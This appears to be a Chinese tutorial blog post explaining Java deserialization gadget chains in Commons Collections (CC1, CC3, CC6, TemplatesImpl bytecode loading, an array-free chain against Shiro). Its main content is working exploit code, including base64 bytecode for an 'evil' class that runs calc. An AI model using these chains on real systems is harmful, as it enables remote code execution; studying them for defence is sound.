commons-collections总结梳理
Yu9

0x01 前言

commons-collections这个包之所有能攒出那么多利⽤链来,除了因为其使⽤量⼤,技术上的原因是其中包含了⼀些可以执⾏任意⽅法的ransformer

image-20240313192439062

所以,在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从 Serializable#readObject() 到Transformer#transform() 的调⽤链。

0x02 cc1

利用版本:CommonsCollections 3.1 - 3.2.1

限制:JDK版本,8u71 版本以下可用

cc1目前流行的两条链子:

TransformedMap

1
2
3
4
AnnotationInvocationHandler.readobject()
TransformedMap.checkSetValue()
chainedTransformer.transform()
InvokerTransformer.transform()

大概分析一下这个流程(逆推):

触发点就在InvokerTransformer.transform(),可以试一下

1
2
3
4
Runtime r = Runtime.getRuntime();
new InvokerTransformer(
"exec",new Class[]{String.class},new Object[]{"calc"}
).transform(r);

但是有一个问题出现了,Runtime是不能序列化的。因为要在java中能序列化的类必须实现一个Serializable接口,但前者并没有。

解决办法:反射

1
2
3
Method getRuntimeMethon = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethon);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

应该不难看懂,如果反射学的扎实的话。

很明显可以发现这块是一个链式调用,刚好在ChainedTransformer.transform()中可以链式调用Transformer数组

image-20240313200228575

加下来构造一个Transformer数组,把InvokerTransformer放入数据中。

ChainedTransformer.transform()中会遍历调用Transformer数组的中对象的transform()方法

1
2
3
4
5
6
7
Transformer[] invokerTransformer= new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

new ChainedTransformer(invokerTransformer).transform(Runtime.class);

目前我们需要找到一个可以调用ChainedTransformer.transform()的地方,并且transform方法中值要可控

这种后我们注意到一个类ConstantTransformer,他的transform方法传入啥返回啥!

image-20240313203743304

so,是不是可以利用一下它来简化一下咱们的链子。

给出Demo,看看大家能不能看懂!

1
2
3
4
5
6
7
8
9
Transformer[] invokerTransformer= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

Transformer transformerChain = new ChainedTransformer(invokerTransformer);

这里是不是就可以专心的找调用ChainedTransformer.transform()的地方,而不用管值是否可控。

放两张图对比一下:

image-20240313204700998

接下来就是TransformedMap.checkSetValue()方法调用了前者

image-20240313204901314

继续,在org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue有调用前者

image-20240313205136461

目前的逻辑应该就很清楚了

1
2
3
4
AbstractInputCheckedMapDecorator.MapEntry#setValue()
TransformedMap.checkSetValue()
chainedTransformer.transform()
InvokerTransformer.transform()

AbstractInputCheckedMapDecorator这个类

他里边的一个内部类MapEntry调用了setValue方法,然后调用了checkSetValue

而且他还是TransformedMap的父类

image-20231023213501908

下变的目标就是找哪里调用setValue方法了

重点就在于MapEntry,MapEntry在遍历一个集合时指代他的键和值,那是不是我们遍历AbstractInputCheckedMapDecorator,就可以调用到setValue方法

但是又因为历AbstractInputCheckedMapDecoratorTransformedMap的父类

所以我们遍历TransformedMap就可以调用到setValue,测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] invokerTransformer= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

Transformer transform = (Transformer) new ChainedTransformer(invokerTransformer).transform(new Object());

Map map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null,transform);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(new Object());
}

继续找,找一个遍历集合,并且调用setValue方法的地方,最好就是找一个readObject里边调用setValue的地方

刚好就找到了一个AnnotationInvocationHandler

不过我们可以看到他前边没有public….这些修饰,是默认权限。所以就只能在当前类以及同包(package)下的其他类中被访问

image-20231023222614379

所以就要通过反射来调用它

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Target.class,transformedMap);

调试发现执行失败,问题就在于AnnotationInvocationHandler.readObject()在调用setValue()之前有两个判断,我们需满足

有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞。

如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给 出两个条件:

  • sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  • 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

我们找到了一个注解Target,它中有一个value()方法

image-20240313212000090

为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:

1
map.put("value","xxx")

LazyMap

在ysoserial中用到的是LazyMap而不是TransformedMap。其实和我们其那边分析的类似,也都只能在8u71版本下使用

1
2
3
4
AnnotationInvocationHandler.invoke()
LazyMap.get()
chainedTransformer.transform()
InvokerTransformer.transform()

上边我们分析的是在TransformedMap.checkSetValue()中调用chainedTransformer.transform()而这条链用的是LazyMap.get()

之后就是围绕着get方法向上寻找的过程!

image-20240313212929709

最终还是找到了AnnotationInvocationHandler,其中的invoke方法调用了get()

image-20240313213221677

如何触发invoke呢?

前边讲过的动态代理,通过代理调用一个对象的方法,就会触发他的invoke

so..懂了吗?没动再拐回去看看代理类吧!

最终的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transformer[] invokerTransformer= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(invokerTransformer);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandler.newInstance(Override.class,lazyMap);
Map myProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandler.newInstance(Override.class, myProxy);

0x03 cc6

利用版本:CommonsCollections 3.1 - 3.2.1

限制:可在Java 7和8的⾼版本触发

Java 8u71以后,cc1利⽤链不能再利⽤了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。

接下来的cc6就是在高版本下的利用。

1
2
3
4
5
6
HashMap.readObject()
tiedMapEntry.hashCode()
tiedMapEntry.getValue()
LazyMap.get()
chainedTransformer.transform()
InvokerTransformer.transform()

其实上半段链子还是相同的,cc6就是继续寻找一个调用get()的地方!

在tiedMapEntry.getValue()中调用

image-20240314001200220

getValue()又在tiedMapEntry类下的tiedMapEntry下的hashCode()中调用

image-20240314001408517

到这块后,不就和前边分析的urldns的链子结合起来了

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer[] invokerTransformer= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(invokerTransformer);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field lazymapF = c.getDeclaredField("factory");
lazymapF.setAccessible(true);
lazymapF.set(lazyMap,transformerChain);

可以看到这个给的poc中多了lazyMap.remove("aaa")

因为在LazyMap.get()中有个判断,大概就是判断是否包含key

image-20240314005130148

这个可以就是咱创建TiedMapEntry是构造函数传入的。

image-20240314005247063

但是这个map咱也没往里边放数据,为啥判断没成立。

具体的原因就是因为在HashMap的put⽅法中,也有调⽤到 hash(key),hashMap.put()这步时就已经触发了整条链,产生了一定的影响,所以直接在序列化前把这个key移除掉就OK!

0x04 字节码

java中类加载就是:加载.class 文件到 JVM 中(在内存中生成一个代表该类的 Class 对象),java的类加载机制是一个很大的话题,这里主要关注一下安全相关!

提到类加载必不可免的要说一下类加载器ClassLoader

defineClass

不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用

1
ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClass
  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上面说到的,可能会在
    本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

**真正核心的部分其实是 defineClass**,他决定了如何将一段字节流转变成一个Java类,Java 默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。

编写一个简单的代码,来演示如何让系统的 defineClass 来直接加载字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA"+
"Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs"+
"bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh"+
"L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n"+
"OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA"+
"AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
hello.newInstance();
}
}
//ClassLoader.getSystemClassLoader()返回系统的类加载器对象

注意:在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造
函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。

image-20240315140910241

这里,因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得 不使用反射的形式来调用。 在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我 们常用的一个攻击链 TemplatesImpl 的基石。

TemplatesImpl

因为系统的 ClassLoader#defineClass 是一个保护属性,所以很难直接利用,so需要找到一个调用defineClass()地方。并且可以被直接调用的方法。

这个推导的过程网上挺多的,就不演示了。主要就是从com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader#defineClasscom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer的一个过程。

需要利用TemplatesImpl加载字节码,需要使用反射设置其三个私有属性:_bytecodes、 _name 、_tfactory

  • _name:为任意字符串,只要不是null才可以进入defineTransletClasses()
  • _bytecodes:由字节码组成的数组,用来存放恶意代码,其值不能为null
  • _tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用_tfactory.getExternalExtensionsMap() ,如果是null会出错

另外TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, Value);
}

public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
"CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
"TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
"aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
"Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
"bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
"DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
"AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
"dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
"bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
"OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
"AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
"AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
"DwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}

image-20240315145458490

0x05 cc3

利用版本:CommonsCollections 3.1 - 3.2.1

限制:JDK版本,8u71 版本以下可用

在cc1中我们可以通过TransformedMap执⾏任意Java⽅法,上边有分析了TemplatesImpl#newTransformer来加载字节码!

那现在就把结合一下。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer[] invokerTransformer = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null,null)
};

Transformer transformerChain = new ChainedTransformer(invokerTransformer);

Map map = new HashMap();
Map transformedMap = TransformedMap.decorate(map, null,transformerChain);

transformedMap.put("value", "value");
}

这块就简单的通过transformedMap.put()来触发一下。

image-20240318201624084

但是这并不是真正的cc3,查看ysoserial的代码

ysoserial中的CC3,可以发现其中没有使⽤到InvokerTransformer原因是什么呢?

image-20221111172751090

2015年初,@frohoff和@gebl发布了 Marshalling Pickles:how deserializing objects will ruin your day,以及反序列化利用工具yaoserial,安全开发者自然会去寻找一种安全的过滤方法,类似SerialKiller这样的工具随之诞生:

SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单

image-20240318213910008

这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3

CommonsCollections3的⽬的很明显,就是为了绕过⼀些规则对InvokerTransformer的限制。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个 类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造⽅法中调⽤(TransformerImpl) templates.newTransformer(),免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步

image-20240318214042668

当然,缺少了InvokerTransformer,TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer,就是 org.apache.commons.collections.functors.InstantiateTransformerInstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法.

image-20240318214625872

目标很明确了,利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码

构造的Transformer调⽤链如下:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};

替换到前⾯的demo中,也能成功触发,避免了使⽤InvokerTransformer

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void setFieldValue(Object obj, String fieldName, Object value) throws E
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "value");
Map transformedMap = TransformedMap.decorate(map, null,transformerChain);
transformedMap.put("value", "value");
}

0x06 无数组cc6

众所周知,原生的cc6打shiro会报错!p牛最后总结出的原因如下:

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

那我们如何来解决这个问题?

前面说到的TemplatesImpl就可以利用了,通过下面这几行代码来执行一段Java的字节码:

1
2
3
4
5
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

接下来利用InvokerTransformer调用TemplatesImpl#newTransformer方法:

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};

这里仍然用到了Transformer数组,不符合条件,在CommonsCollections6中,我们用到了一个类TiedMapEntry,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry类有个getValue方法,调用了map的get方法,并传入key:

image-20240318202240881

1
2
3
public Object getValue() {
return map.get(key);
}

当这个map是LazyMap时,其get方法就是触发transform的关键点

1
2
3
4
5
6
7
8
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

以往构造CommonsCollections Gadget的时候,对LazyMap#get方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

那么我们再回看前面的Transform数组:

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};

new ConstantTransformer(obj) 这一步完全是可以去除了,数组长度变成1,那么数组也就不需要了。

改造一下CommonsCollections6

首先还是创建TemplatesImpl对象:

1
2
3
4
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用newTransformer方法的InvokerTransformer,但注意的是,此时先传入一个人畜无害的方法,比如getClass ,避免恶意方法在构造Gadget的时候触发

1
Transformer transformer = new InvokerTransformer("getClass", null, null);

再把之前的CommonsCollections6的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象

1
2
3
4
5
6
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();

和我之前的CommonsCollections6稍有不同的是,我之前是使用 outerMap.remove(“keykey”); 来移 除key的副作用,现在是通过 outerMap.clear(); ,效果相同。 最后,将 InvokerTransformer 的方法从人畜无害的 getClass ,改成 newTransformer ,正式完成武 器装配。

完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getpayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("getClass", null, null);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");

// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();
}
}

对象序列化成字节数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//对象 barr,这是一个内存中的缓冲区,用于暂时存储将要被序列化的对象数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();

//对象 oos,与 ByteArrayOutputStream 相关联,用于将对象写入 ByteArrayOutputStream
ObjectOutputStream oos = new ObjectOutputStream(barr);

